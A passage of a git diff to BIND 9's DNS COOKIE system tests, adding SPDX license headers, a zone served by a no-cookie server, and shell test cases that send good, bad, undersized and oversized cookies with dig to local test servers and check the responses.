--- a/bin/tests/system/cookie/ns5/root.hint
+++ b/bin/tests/system/cookie/ns5/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/ns6/named.conf.in b/bin/tests/system/cookie/ns6/named.conf.in
index 2cfd462d22..158d8988c5 100644
--- a/bin/tests/system/cookie/ns6/named.conf.in
+++ b/bin/tests/system/cookie/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/cookie/ns6/root.hint b/bin/tests/system/cookie/ns6/root.hint
index 64769b9fe6..993227deb6 100644
--- a/bin/tests/system/cookie/ns6/root.hint
+++ b/bin/tests/system/cookie/ns6/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/ns7/from-no-cookie-server.example.db b/bin/tests/system/cookie/ns7/from-no-cookie-server.example.db
new file mode 100644
index 0000000000..8e466a6921
--- /dev/null
+++ b/bin/tests/system/cookie/ns7/from-no-cookie-server.example.db
@@ -0,0 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@	SOA	ns7 hostmaster.isc.org. 1 600 600 1200 600
+@ 	NS	ns7
+ns7 	A	10.53.0.7
diff --git a/bin/tests/system/cookie/ns7/named.conf.in b/bin/tests/system/cookie/ns7/named.conf.in
index 62ced15bb2..9426d233cb 100644
--- a/bin/tests/system/cookie/ns7/named.conf.in
+++ b/bin/tests/system/cookie/ns7/named.conf.in
@@ -1,18 +1,20 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 options {
-	query-source address 10.53.0.7 dscp 1;
-	notify-source 10.53.0.7 dscp 2;
-	transfer-source 10.53.0.7 dscp 3;
+	query-source address 10.53.0.7;
+	notify-source 10.53.0.7;
+	transfer-source 10.53.0.7;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.7; };
@@ -21,9 +23,15 @@ options {
 	answer-cookie no;
 	send-cookie yes;
 	nocookie-udp-size 512;
+	dnssec-validation no;
 };
 
 zone "." {
 	type primary;
 	file "root.db";
 };
+
+zone "from-no-cookie-server.example" {
+	type primary;
+	file "from-no-cookie-server.example.db";
+};
diff --git a/bin/tests/system/cookie/ns7/root.db b/bin/tests/system/cookie/ns7/root.db
index 96410eeffd..39a63da9bb 100644
--- a/bin/tests/system/cookie/ns7/root.db
+++ b/bin/tests/system/cookie/ns7/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/cookie/ns8/example.db b/bin/tests/system/cookie/ns8/example.db
index 0693de0629..443d5db417 100644
--- a/bin/tests/system/cookie/ns8/example.db
+++ b/bin/tests/system/cookie/ns8/example.db
@@ -1,11 +1,15 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-@	3600	SOA	. . 0 0 0 0 0
-@	3600	NS	.
+@				3600	SOA	. . 0 0 0 0 0
+@				3600	NS	.
+from-no-cookie-server		3600	NS	ns7.from-no-cookie-server
+ns7.from-no-cookie-server	3600	A	10.53.0.7
diff --git a/bin/tests/system/cookie/ns8/named.conf.in b/bin/tests/system/cookie/ns8/named.conf.in
index c90a2b95dd..693f06a81e 100644
--- a/bin/tests/system/cookie/ns8/named.conf.in
+++ b/bin/tests/system/cookie/ns8/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -31,6 +33,8 @@ options {
 	require-server-cookie yes;
 };
 
+server 10.53.0.7 { require-cookie yes; };
+
 zone "example" {
 	type primary;
 	file "example.db";
diff --git a/bin/tests/system/cookie/setup.sh b/bin/tests/system/cookie/setup.sh
index 8ed3fe8671..88c7518dd0 100644
--- a/bin/tests/system/cookie/setup.sh
+++ b/bin/tests/system/cookie/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/cookie/tests.sh b/bin/tests/system/cookie/tests.sh
index 021b3d7566..570b7351ff 100755
--- a/bin/tests/system/cookie/tests.sh
+++ b/bin/tests/system/cookie/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -20,7 +24,7 @@ n=0
 getcookie() {
 	awk '$2 == "COOKIE:" {
 		print $3;
-	}' < $1 | tr -d '\r'
+	}' < $1
 }
 
 fullcookie() {
@@ -35,172 +39,229 @@ havetc() {
 
 for bad in bad*.conf
 do
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "checking that named-checkconf detects error in $bad ($n)"
 	ret=0
 	$CHECKCONF $bad > /dev/null 2>&1 && ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
 for good in good*.conf
 do
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "checking that named-checkconf detects accepts $good ($n)"
 	ret=0
 	$CHECKCONF $good > /dev/null 2>&1 || ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RCODE=FORMERR to query without question section and without COOKIE option ($n)"
 ret=0
-$DIG $DIGOPTS +qr +header-only +nocookie version.bind txt ch @10.53.0.1 > dig.out.test$n
+$DIG $DIGOPTS +qr +header-only +nocookie version.bind txt ch @10.53.0.1 > dig.out.test$n || ret=1
 grep COOKIE: dig.out.test$n > /dev/null && ret=1
 grep "status: FORMERR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking RCODE=NOERROR to query without question section and with COOKIE option ($n)"
 ret=0
-$DIG $DIGOPTS +qr +header-only +cookie version.bind txt ch @10.53.0.1 > dig.out.test$n
+$DIG $DIGOPTS +qr +header-only +cookie version.bind txt ch @10.53.0.1 > dig.out.test$n || ret=1
 grep COOKIE: dig.out.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking COOKIE token is returned to empty COOKIE option ($n)"
 ret=0
-$DIG $DIGOPTS +cookie version.bind txt ch @10.53.0.1 > dig.out.test$n
+$DIG $DIGOPTS +cookie version.bind txt ch @10.53.0.1 > dig.out.test$n || ret=1
 grep COOKIE: dig.out.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking COOKIE is not returned when answer-cookie is false ($n)"
 ret=0
-$DIG $DIGOPTS +cookie version.bind txt ch @10.53.0.7 > dig.out.test$n
+oldcookie=b71d3138bb984fc50100000064a65cffbbf02482dfb99ba5
+$DIG $DIGOPTS +cookie=$oldcookie version.bind txt ch @10.53.0.7 > dig.out.test$n || ret=1
 grep COOKIE: dig.out.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking response size without COOKIE ($n)"
 ret=0
-$DIG $DIGOPTS large.example txt @10.53.0.1 +ignore > dig.out.test$n
+$DIG $DIGOPTS large.example txt @10.53.0.1 +ignore > dig.out.test$n || ret=1
 havetc dig.out.test$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking response size without valid COOKIE ($n)"
 ret=0
-$DIG $DIGOPTS +cookie large.example txt @10.53.0.1 +ignore > dig.out.test$n
+$DIG $DIGOPTS +cookie large.example txt @10.53.0.1 +ignore > dig.out.test$n || ret=1
 havetc dig.out.test$n || ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking response size with COOKIE ($n)"
 ret=0
-$DIG $DIGOPTS +cookie large.example txt @10.53.0.1 > dig.out.test$n.l
-cookie=`getcookie dig.out.test$n.l`
-$DIG $DIGOPTS +qr +cookie=$cookie large.example txt @10.53.0.1 +ignore > dig.out.test$n
+$DIG $DIGOPTS +cookie large.example txt @10.53.0.1 > dig.out.test$n.l || ret=1
+cookie=$(getcookie dig.out.test$n.l)
+$DIG $DIGOPTS +qr +cookie=$cookie large.example txt @10.53.0.1 +ignore > dig.out.test$n || ret=1
 havetc dig.out.test$n && ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking response size with COOKIE recursive ($n)"
 ret=0
-$DIG $DIGOPTS +qr +cookie=$cookie large.xxx txt @10.53.0.1 +ignore > dig.out.test$n
+$DIG $DIGOPTS +qr +cookie=$cookie large.xxx txt @10.53.0.1 +ignore > dig.out.test$n || ret=1
 havetc dig.out.test$n && ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking COOKIE is learnt for TCP retry ($n)"
 ret=0
-$DIG $DIGOPTS +qr +cookie large.example txt @10.53.0.1 > dig.out.test$n
-linecount=`getcookie dig.out.test$n | wc -l`
+$DIG $DIGOPTS +qr +cookie large.example txt @10.53.0.1 > dig.out.test$n || ret=1
+linecount=$(getcookie dig.out.test$n | wc -l)
 if [ $linecount != 3 ]; then ret=1; fi
-checkfull=`getcookie dig.out.test$n | fullcookie`
+checkfull=$(getcookie dig.out.test$n | fullcookie)
 if [ $checkfull != 1 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking for COOKIE value in adb ($n)"
 ret=0
 rndc_dumpdb ns1
 grep "10.53.0.2.*\[cookie=" ns1/named_dump.db.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking require-server-cookie default (no) ($n)"
 ret=0
-$DIG $DIGOPTS +qr +cookie +nobadcookie soa @10.53.0.1 > dig.out.test$n
-grep BADCOOKIE dig.out.test$n > /dev/null && ret=1
-linecount=`getcookie dig.out.test$n | wc -l`
+$DIG $DIGOPTS +qr +cookie +nobadcookie soa @10.53.0.1 > dig.out.test$n || ret=1
+grep "status: BADCOOKIE" dig.out.test$n > /dev/null && ret=1
+linecount=$(getcookie dig.out.test$n | wc -l)
 if [ $linecount != 2 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking require-server-cookie yes ($n)"
 ret=0
-$DIG $DIGOPTS +qr +cookie +nobadcookie soa @10.53.0.3 > dig.out.test$n
+$DIG $DIGOPTS +qr +cookie +nobadcookie soa @10.53.0.3 > dig.out.test$n || ret=1
 grep "flags: qr[^;]* aa[ ;]" dig.out.test$n > /dev/null && ret=1
 grep "flags: qr[^;]* ad[ ;]" dig.out.test$n > /dev/null && ret=1
-grep BADCOOKIE dig.out.test$n > /dev/null || ret=1
-linecount=`getcookie dig.out.test$n | wc -l`
+grep "status: BADCOOKIE" dig.out.test$n > /dev/null || ret=1
+linecount=$(getcookie dig.out.test$n | wc -l)
 if [ $linecount != 2 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
+echo_i "checking +qr +showbadcookie ($n)"
+ret=0
+$DIG $DIGOPTS +qr +cookie +showbadcookie soa @10.53.0.3 > dig.out.test$n || ret=1
+noerror=$(grep "status: NOERROR" dig.out.test$n | wc -l)
+badcookie=$(grep "status: BADCOOKIE" dig.out.test$n | wc -l)
+server=$(grep "COOKIE: ................................................" dig.out.test$n | wc -l)
+good=$(grep "COOKIE: ................................................ (good)" dig.out.test$n | wc -l)
+linecount=$(getcookie dig.out.test$n | wc -l)
+if [ $noerror != 3 ]; then ret=1; fi
+if [ $badcookie != 1 ]; then ret=1; fi
+if [ $server != 3 ]; then ret=1; fi
+if [ $good != 2 ]; then ret=1; fi
+if [ $linecount != 4 ]; then ret=1; fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "checking +showbadcookie ($n)"
+ret=0
+$DIG $DIGOPTS +cookie +showbadcookie soa @10.53.0.3 > dig.out.test$n || ret=1
+noerror=$(grep "status: NOERROR" dig.out.test$n | wc -l)
+badcookie=$(grep "status: BADCOOKIE" dig.out.test$n | wc -l)
+server=$(grep "COOKIE: ................................................" dig.out.test$n | wc -l)
+good=$(grep "COOKIE: ................................................ (good)" dig.out.test$n | wc -l)
+linecount=$(getcookie dig.out.test$n | wc -l)
+if [ $noerror != 1 ]; then ret=1; fi
+if [ $badcookie != 1 ]; then ret=1; fi
+if [ $server != 2 ]; then ret=1; fi
+if [ $good != 2 ]; then ret=1; fi
+if [ $linecount != 2 ]; then ret=1; fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
 echo_i "checking require-server-cookie yes with rate-limit ($n)"
 ret=0
-$DIG $DIGOPTS +qr +cookie +nobadcookie soa example @10.53.0.8 > dig.out.test$n
+$DIG $DIGOPTS +qr +cookie +nobadcookie soa example @10.53.0.8 > dig.out.test$n || ret=1
 grep "flags: qr[^;]* ad[ ;]" dig.out.test$n > /dev/null && ret=1
-grep BADCOOKIE dig.out.test$n > /dev/null || ret=1
-linecount=`getcookie dig.out.test$n | wc -l`
+grep "status: BADCOOKIE" dig.out.test$n > /dev/null || ret=1
+linecount=$(getcookie dig.out.test$n | wc -l)
 if [ $linecount != 2 ]; then ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking 'server <prefix> { require-cookie yes; };' triggers TCP when cookie not returned ($n)"
+ret=0
+nextpart ns8/named.run > /dev/null
+$DIG $DIGOPTS +cookie soa from-no-cookie-server.example @10.53.0.8 > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+wait_for_log_peek 3 "missing required cookie from 10.53.0.7#" ns8/named.run || ret=1
+wait_for_log_peek 3 "connected from" ns8/named.run || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "send undersized cookie ($n)"
 ret=0
 $DIG $DIGOPTS +qr +cookie=000000 soa @10.53.0.1 > dig.out.test$n || ret=1
 grep "status: FORMERR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "send oversized for named cookie ($n)"
 ret=0
 $DIG $DIGOPTS +qr +cookie=${cookie}00 soa @10.53.0.1 > dig.out.test$n || ret=1
 grep "COOKIE: [a-f0-9]* (good)" dig.out.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "send oversized for named cookie with server requiring a good cookie ($n)"
 ret=0
 $DIG $DIGOPTS +qr +cookie=${cookie}00 soa @10.53.0.3 > dig.out.test$n || ret=1
 grep "COOKIE: [a-f0-9]* (good)" dig.out.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+echo_i "check that BADCOOKIE is returned for a bad server COOKIE ($n)"
+ret=0
+badcookie=$(echo $cookie | sed 's/[a-f0-9]/0/g')
+$DIG $DIGOPTS +qr +cookie=$badcookie +nobadcookie soa example @10.53.0.1 > dig.out.test$n || ret=1
+grep "flags: qr[^;]* ad[ ;]" dig.out.test$n > /dev/null && ret=1
+grep "status: BADCOOKIE" dig.out.test$n > /dev/null || ret=1
+linecount=`getcookie dig.out.test$n | wc -l`
+if [ $linecount != 2 ]; then ret=1; fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
 #
 # Test shared cookie-secret support.
@@ -219,116 +280,116 @@ status=`expr $status + $ret`
 # Force local address so that the client's address is the same to all servers.
 #
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "get NS4 cookie for cross server checking ($n)"
 ret=0
-$DIG $DIGOPTS +cookie -b 10.53.0.4 soa . @10.53.0.4 > dig.out.test$n
+$DIG $DIGOPTS +cookie -b 10.53.0.4 soa . @10.53.0.4 > dig.out.test$n || ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
-ns4cookie=`getcookie dig.out.test$n`
+ns4cookie=$(getcookie dig.out.test$n)
 test -n "$ns4cookie" || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "get NS5 cookie for cross server checking ($n)"
 ret=0
-$DIG $DIGOPTS +cookie -b 10.53.0.4 soa . @10.53.0.5 > dig.out.test$n
+$DIG $DIGOPTS +cookie -b 10.53.0.4 soa . @10.53.0.5 > dig.out.test$n || ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
-ns5cookie=`getcookie dig.out.test$n`
+ns5cookie=$(getcookie dig.out.test$n)
 test -n "$ns5cookie" || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "get NS6 cookie for cross server checking ($n)"
 ret=0
-$DIG $DIGOPTS +cookie -b 10.53.0.4 soa . @10.53.0.6 > dig.out.test$n
+$DIG $DIGOPTS +cookie -b 10.53.0.4 soa . @10.53.0.6 > dig.out.test$n || ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
-ns6cookie=`getcookie dig.out.test$n`
+ns6cookie=$(getcookie dig.out.test$n)
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test NS4 cookie on NS5 (expect success) ($n)"
 ret=0
-$DIG $DIGOPTS +cookie=$ns4cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.5 > dig.out.test$n
+$DIG $DIGOPTS +cookie=$ns4cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.5 > dig.out.test$n || ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test NS4 cookie on NS6 (expect badcookie) ($n)"
 ret=0
-$DIG $DIGOPTS +cookie=$ns4cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.6 > dig.out.test$n
+$DIG $DIGOPTS +cookie=$ns4cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.6 > dig.out.test$n || ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
 grep "status: BADCOOKIE," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test NS5 cookie on NS4 (expect success) ($n)"
 ret=0
-$DIG $DIGOPTS +cookie=$ns5cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.4 > dig.out.test$n
+$DIG $DIGOPTS +cookie=$ns5cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.4 > dig.out.test$n || ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test NS5 cookie on NS6 (expect badcookie) ($n)"
 ret=0
-$DIG $DIGOPTS +cookie=$ns5cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.6 > dig.out.test$n
+$DIG $DIGOPTS +cookie=$ns5cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.6 > dig.out.test$n || ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
 grep "status: BADCOOKIE," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test NS6 cookie on NS4 (expect badcookie) ($n)"
 ret=0
-$DIG $DIGOPTS +cookie=$ns6cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.4 > dig.out.test$n
+$DIG $DIGOPTS +cookie=$ns6cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.4 > dig.out.test$n || ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
 grep "status: BADCOOKIE," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test NS6 cookie on NS5 (expect success) ($n)"
 ret=0
-$DIG $DIGOPTS +cookie=$ns6cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.5 > dig.out.test$n
+$DIG $DIGOPTS +cookie=$ns6cookie -b 10.53.0.4 +nobadcookie soa . @10.53.0.5 > dig.out.test$n || ret=1
 grep "; COOKIE:.*(good)" dig.out.test$n > /dev/null || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that test server is correctly configured ($n)"
 ret=0
 pat="; COOKIE: ................................ (good)"
 #UDP
-$DIG $DIGOPTS @10.53.0.9 +notcp tld > dig.out.test$n.1
+$DIG $DIGOPTS @10.53.0.9 +notcp tld > dig.out.test$n.1 || ret=1
 grep "status: NOERROR" dig.out.test$n.1 > /dev/null || ret=1
 grep "$pat" dig.out.test$n.1 > /dev/null || ret=1
 grep 'A.10\.53\.0\.9' dig.out.test$n.1 > /dev/null || ret=1
 grep 'A.10\.53\.0\.10' dig.out.test$n.1 > /dev/null && ret=1
 grep ";; TSIG PSEUDOSECTION:" dig.out.test$n.1 > /dev/null && ret=1
 
-$DIG $DIGOPTS @10.53.0.9 +notcp tcponly.tld > dig.out.test$n.2
+$DIG $DIGOPTS @10.53.0.9 +notcp tcponly.tld > dig.out.test$n.2 || ret=1
 grep "status: NOERROR" dig.out.test$n.2 > /dev/null || ret=1
 grep "; COOKIE:" dig.out.test$n.2 > /dev/null && ret=1
 grep 'A.10\.53\.0\.9' dig.out.test$n.2 > /dev/null || ret=1
 grep 'A.10\.53\.0\.10' dig.out.test$n.2 > /dev/null  || ret=1
 grep ";; TSIG PSEUDOSECTION:" dig.out.test$n.1 > /dev/null && ret=1
 
-$DIG $DIGOPTS @10.53.0.9 +notcp nocookie.tld > dig.out.test$n.3
+$DIG $DIGOPTS @10.53.0.9 +notcp nocookie.tld > dig.out.test$n.3 || ret=1
 grep "status: NOERROR" dig.out.test$n.3 > /dev/null || ret=1
 grep "; COOKIE:" dig.out.test$n.3 > /dev/null && ret=1
 grep 'A.10\.53\.0\.9' dig.out.test$n.3 > /dev/null || ret=1
 grep 'A.10\.53\.0\.10' dig.out.test$n.3 > /dev/null  || ret=1
 grep ";; TSIG PSEUDOSECTION:" dig.out.test$n.1 > /dev/null && ret=1
 
-$DIG $DIGOPTS @10.53.0.9 +notcp withtsig.tld > dig.out.test$n.4
+$DIG $DIGOPTS @10.53.0.9 +notcp withtsig.tld > dig.out.test$n.4 || ret=1
 grep "status: NOERROR" dig.out.test$n.4 > /dev/null || ret=1
